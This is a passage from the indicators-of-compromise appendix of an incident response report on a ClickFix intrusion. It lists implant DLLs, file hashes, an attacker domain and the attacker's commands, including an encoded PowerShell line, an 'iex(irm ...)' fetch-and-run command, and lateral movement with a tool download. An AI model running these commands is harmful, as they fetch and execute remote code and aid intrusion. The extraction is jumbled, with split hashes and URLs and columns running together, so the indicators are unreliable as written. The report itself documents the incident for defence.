DLL file (implants) dropped by attacker on affected systems in writable directories such as C:\Users\Public and 25

Incident Response Report

C:\Users\Public\Videos\asd\m sys.dll C:\Users\Public\Videos\asd\m sys.dll

2.dll

m.dll

netdrv.dll

msys.dll

77684280b4d966c994695022d 3ffa5bfe08136035555b59b79e 695f30beb3adb 472c84eaca5d811b4fc742d59 74ed38c1c989f8b8fa75144c21 55302f677e87e

Filepath

DLL file (implants) dropped by attacker on affected systems in writable directories such as C:\Users\Public and C:\Users\Public\Videos\asd\m sys.dll

Filename

DLL files (implants) dropped by attacker on affected systems in writable directories such as C:\Users\Public and C:\Users\Public\Videos\asd\m sys.dll

Filename

DLL file (implants) dropped by attacker on affected systems in writable directories such as C:\Users\Public and C:\Users\Public\Videos\asd\m sys.dll

Filename

DLL file (implants) dropped by attacker on affected systems in writable directories such as C:\Users\Public and C:\Users\Public\Videos\asd\m sys.dll

Filename

DLL file (implants) dropped by attacker on affected systems in writable directories such as C:\Users\Public and C:\Users\Public\Videos\asd\m sys.dll Filehash of netdrv.dll

Filehash Filehash

Filehash for 2.dll

26

Incident Response Report

7bf51b083f8c494bfa96ee6fc03 b7f9bfa6f81875105fff7913d75 4cec9a3a91 app.toocleanautodetail.com

powershell '-nop -enc aQBlAHgAKAAoAFIAZQBzAG8A

Filehash

Filehash of of m.dll

Domain

This domain is associated with a DNS-based ClickFix. This domain serves PowerShell commands embedded in TXT records.

Domain

Exfil location Azure blob storage

Command

Initial access - command executed by the user

Command

Commands run by the actor

Command

Commands run by the actor

Command

Commands run by the actor

Command

Commands run by the actor

0AHIAaQBuAGcAcwAgAC0Aag BvAGkAbgAgACcAJwApAA==' Wi H|powershell -nop -

cmd.exe /c "net session >nul 2>&1 & echo %errorlevel%"

cmd.exe /c hostname

cmd.exe /c ver

cmd.exe /c whoami

27

Incident Response Report

iex(irm ' https://toocleanautodetail.co m/YkU5C7Eb?t=iOeFWdlpYIslq OE7PWn-3w');irm ' https://toocleanautodetail.co m/YkU5C7Eb?s=2&p=1&t=iOe FWdlpYIslqOE7PWn3w'%7Ciex

new-pssession 172.16.8.112 enter-pssession SV-12 cd c:\programdata cmd start . [Net.ServicePointManager]::S ecurityProtocol = "Tls, Tls11, Tls12, Ssl3" $client = newobject System.Net.WebClient;$client. DownloadFile("https://downl oad.advanced-ipscanner.com/download/files/ Advanced_IP_Scanner_2.5.45 94.1.exe","C:\ProgramData\ip

Command

PowerShell commands present in DNS TXT record of app[.]toocleanautodetail[.]co m, related to the ClickFix attack

Command

Commands executed by attacker from SV-04; lateral movement and download of network scanning tool

28

De tekst is automatisch uit het bestand gehaald en kan afwijken van het origineel (kolommen, tabellen en koppen lopen door elkaar). Het officiële stuk bij iBabs is leidend. Bron: https://api.notubiz.nl/document/17043406/1